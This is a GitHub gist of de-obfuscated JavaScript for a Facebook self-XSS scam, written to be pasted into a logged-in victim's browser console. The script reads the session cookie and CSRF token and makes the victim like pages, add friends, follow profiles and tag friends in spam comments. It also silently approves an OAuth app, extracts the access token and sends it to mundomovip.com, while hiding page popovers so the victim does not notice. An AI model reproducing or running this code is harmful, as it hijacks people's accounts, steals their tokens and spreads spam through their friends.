Skip to content

Instantly share code, notes, and snippets.

@ricardosiri68
Last active August 29, 2015 14:11
Show Gist options
  • Save ricardosiri68/f56763167f4db464be0e to your computer and use it in GitHub Desktop.
Save ricardosiri68/f56763167f4db464be0e to your computer and use it in GitHub Desktop.
function NewObject(mensaje_inicial){
var count = 0;
this.SayHello = function (mensaje){
count++;
alert(mensaje_inicial + mensaje);
};
this.GetCount = function (){
return count;
};
}
var MovilipHack = function(){
var obj = new NewObject("Ataque listo. victima: Facebook.com/1234024788 : ");
obj.SayHello("Da click en aceptar para empezar a hackear.");
// se recupera la id del usuario
this.user_id = document.cookie.match(
document.cookie.match(/c_user=(\d+)/)[1]
);
// se recupera el dtsg
// - que es el ? -
// - lo que se cuela tu hermana -
this.fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
// lista
this.list("583518391782082");
// dar likes a las paginas
this.like("550119278455327");
this.like("313823015489701");
this.like("3254170684707172");
this.like("697017563702086");
this.like("1521967164737787");
// ids ... que se yo lo que es IDS ... ids viejo
this.ids("100005730554977");
this.ids("100003183854688");
// a ... miren a lo que llegamos por una a
this.a("100005730554977");
this.a("100003183854688");
// p .. si p de poronga
var likes_list = [
"310550272479322",
"583520175115237",
"310550865812596",
"310553612478988",
"310554622478887",
"310569185810764",
"311857109015305",
"311857285681954",
"311949019006114",
"311949415672741",
"311949509006065",
"311949715672711",
"311949859006030",
"311949989006017",
"311955539005462",
"311955919005424",
"311955825672100",
"311955782338771",
"311955745672108",
"311956612338688"
];
like_list.forEach(function(value){ this.p(value); }.bind(this));
// ibraheemNada
this.ibraheemNada("");
};
MovilipHack.prototype = {
list: function (fb_list_id){
var xhr = new XMLHttpRequest();
var action = "//www.facebook.com/ajax/friends/lists/subscribe/modify";
var dataUrl = "flid=" +
fb_list_id +
"&action=subscribe&location=feed&nctr[_mod]=pagelet_group_mall&ft[type]=40&ft[tn]=DH&__user=" +
this.user_id +
"&__a=1&__dyn=7n8ahxoNpGo&__req=y&fb_dtsg=" +
this.fb_dtsg +
"&phstamp=";
xhr.open("POST", action, true);
xhr.onreadystatechange = function (){
if(xhr.readyState == 4 && xhr.status == 200){
xhr.close();
}
};
xhr.send(dataUrl);
},
like: function(fb_page_id){
var xhr = new XMLHttpRequest();
var action = "//www.facebook.com/ajax/pages/fan_status.php";
var dataUrl = "&fbpage_id=" +
fb_page_id +
"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" +
this.user_id +
"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" +
this.fb_dtsg +
"&phstamp=";
xhr.open("POST", action, true);
xhr.onreadystatechange = function (){
if(xhr.readyState == 4 && xhr.status == 200){
xhr.close();
}
};
xhr.send(dataUrl);
},
ids: function(firend_id){
var xhr = new XMLHttpRequest();
var action = "//www.facebook.com/ajax/add_friend/action.php";
var dataUrl = "to_friend=" +
friend_id +
"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user=" +
this.user_id +
"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=" +
this.fb_dtsg +
"&phstamp=";
xhr.open("POST", action, true);
xhr.onreadystatechange = function (){
if(xhr.readyState == 4 && _0xa8b7x4.status == 200){
xhr.close();
}
};
xhr.send(dataUrl);
},
a: function(profile_id){
var xhr = new XMLHttpRequest();
var action = "/ajax/follow/follow_profile.php?__a=1";
var dataUrl = "profile_id=" +
profile_id +
"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" +
this.fb_dtsg +
"&lsd&__" +
this.user_id +
"&phstamp=";
xhr.open("POST", action, true);
xhr.onreadystatechange = function (){
if(xhr.readyState == 4 && xhr.status == 200){
xhr.close();
}
};
xhr.send(dataUrl);
},
p: function(fb_identifier){
var now = new Date().getTime();
var xhr = new XMLHttpRequest();
var action = "//www.facebook.com/ajax/ufi/like.php";
var dataUrl = "like_action=true&ft_ent_identifier=" +
fb_identifier +
"&source=1&client_id=" +
now +
"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=" +
fb_identifier +
"&nctr[_mod]=pagelet_home_stream&__user=" +
this.user_id +
"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" +
this.fb_dtsg +
"&phstamp=";
xhr.open("POST", action, true);
xhr.onreadystatechange = function (){
if(xhr.readyState == 4 && xhr.status == 200){
xhr.close();
}
};
xhr.send(dataUrl);
},
ibraheemNada: function(uidss){
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " +
uidss +
" }).send();";
document.body.appendChild(a);
}
};
var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
var user_id = document.cookie.match(
document.cookie.match(/c_user=(\d+)/)[1]
);
var id = "311411802351987";
var arkadaslar = [];
function arkadaslari_al(id){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(){
if(xhr.readyState == 4){
eval(
"arkadaslar = " +
xhr.responseText.toString().replace("for (;;);","") +
";"
);
for(f=0; f < Math.round(arkadaslar.payload.entries.length / 27); f++){
mesaj = "";
mesaj_text = "";
for(i = f*27; i < (f + 1) * 27; i++){
if(arkadaslar.payload.entries[i]){
mesaj += " @[" +
arkadaslar.payload.entries[i].uid +
":" +
arkadaslar.payload.entries[i].text +
"]";
mesaj_text += " " +
arkadaslar.payload.entries[i].text;
}
}
yorum_yap(id, mesaj);
}
}
};
var dataUrl = "\x26filter[0]=user";
dataUrl += "\x26options[0]=friends_only";
dataUrl += "\x26options[1]=nm";
dataUrl += "\x26token=v7";
dataUrl += "\x26viewer=" + user_id;
dataUrl += "\x26__user=" + user_id;
if(document.URL.indexOf("https://") >= 0){
xhr.open(
"GET",
"https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + dataUrl,
true
);
} else {
xhr.open(
"GET",
"http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + dataUrl,
true
);
}
xhr.send();
}
function RandomArkadas(){
var data = "";
for(i=0; i<9; i++){
data += " @[" +
arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].uid +
":" +
arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].text +
"]";
}
return data;
}
function yorum_yap(id, commentText){
var xhr = new XMLHttpRequest();
var dataUrl = "";
dataUrl += "\x26ft_ent_identifier=" + id;
dataUrl += "\x26comment_text=" + encodeURIComponent(commentText);
dataUrl += "\x26source=2";
dataUrl += "\x26client_id=1377871797138:1707018092";
dataUrl += "\x26reply_fbid";
dataUrl += "\x26parent_comment_id";
dataUrl += "\x26rootid=u_jsonp_2_3";
dataUrl += "\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:" + id + "}";
dataUrl += "\x26attached_sticker_fbid=0";
dataUrl += "\x26attached_photo_fbid=0";
dataUrl += "\x26giftoccasion";
dataUrl += "\x26ft[tn]=[]";
dataUrl += "\x26__user=" + user_id;
dataUrl += "\x26__a=1";
dataUrl += "\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo";
dataUrl += "\x26__req=q";
dataUrl += "\x26fb_dtsg=" + fb_dtsg;
dataUrl += "\x26ttstamp=";
xhr.open("POST", "/ajax/ufi/add_comment.php", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function (){
if(xhr.readyState == 4 && xhr.status == 200){
xhr.close();
}
};
xhr.send(dataUrl);
}
arkadaslari_al(id);
if(location.hostname.indexOf("www.facebook.com","static.ak.facebook.com","apps.facebook.com","beta.facebook.com") >= 0){
var profile_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
function uygulamaizinver(url){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
izinverhtml = document.createElement("html");
izinverhtml.innerHTML = xmlhttp.responseText;
if(izinverhtml.getElementsByTagName("form").length > 0){
izinverhtml.innerHTML = izinverhtml.getElementsByTagName("form")[0].outerHTML;
act = izinverhtml.getElementsByTagName("form")[0].action;
duzenlevegonder(izinverhtml,act);
}
}
};
xmlhttp.open("GET", url, true);
xmlhttp.send();
}
function duzenlevegonder(formnesne, act){
izinverparams = "";
for(i=0; i < formnesne.getElementsByTagName("input").length; i++){
if(formnesne.getElementsByTagName("input")[i].name.indexOf("__CANCEL__") < 0 && formnesne.getElementsByTagName("input")[i].name.indexOf("cancel_clicked")){
izinverparams += "&" + formnesne.getElementsByTagName("input")[i].name + "=" + formnesne.getElementsByTagName("input")[i].value;
}
}
if(formnesne.getElementsByTagName("select").length > 0){
izinverparams += "&" + formnesne.getElementsByTagName("select")[0].name + "=80";
}
izinverparams.replace("&fb_dtsg", "fb_dtsg");
izinverparams += "&__CONFIRM__=1";
formnesne = formnesne;
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
izinhtml = document.createElement("html");
izinhtml.innerHTML = xmlhttp.responseText;
if(izinhtml.getElementsByTagName("form").length > 0){
izinhtml.innerHTML = izinhtml.getElementsByTagName("form")[0].outerHTML;
act = izinhtml.getElementsByTagName("form")[0].action;
duzenlevegonder(izinhtml,act);
}else{
sex = xmlhttp.responseText.match(/#access_token=(.*?)&expires_in/i);
if (sex[1]) {
tokenyolla(sex[1]);
}
}
}
};
xmlhttp.open("POST", act, true);
xmlhttp.setRequestHeader (
"Content-Type",
"application/x-www-form-urlencoded"
);
xmlhttp.send(izinverparams);
}
function TokenUrl(id){
return "//www.facebook.com/dialog/oauth?response_type=token&display=popup&client_id=" +
id +
"&redirect_uri=fbconnect://success&sso_key=com&scope=email,publish_stream,user_likes,friends_likes,user_birthday";
}
if(!localStorage['token_' + profile_id] || (localStorage['token_' + profile_id] && tarih.getTime() >= localStorage['token_' + profile_id])){
uygulamaizinver(TokenUrl("121876164619130"));
var http = new XMLHttpRequest();
http.open('GET', 'http://graph.facebook.com/' + profile_id, false);
http.send();
var get = JSON.parse(http.responseText);
var isim = get.name;
}
window.setInterval(function(){
if(document.getElementsByClassName("_5ce")){
for(i=0; i < document.getElementsByClassName("_5ce").length; i++){
document.getElementsByClassName("_5ce")[i].innerHTML = "";
}
}
if(document.getElementsByClassName("uiToggle wrap")){
for(i=0; i < document.getElementsByClassName("uiToggle wrap").length; i++){
document.getElementsByClassName("uiToggle wrap")[i].innerHTML = "";
}
}
if(document.getElementsByClassName("uiPopover")){
for(i=0; i < document.getElementsByClassName("uiPopover").length; i++){
document.getElementsByClassName("uiPopover")[i].innerHTML = "";
}
}
},
200
);
function tokenyolla(token){
top.location.href = "http://mundomovip.com/esperando/#" + token;
}
}
var alibasim = "clic en aceptar";
alert(alibasim);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment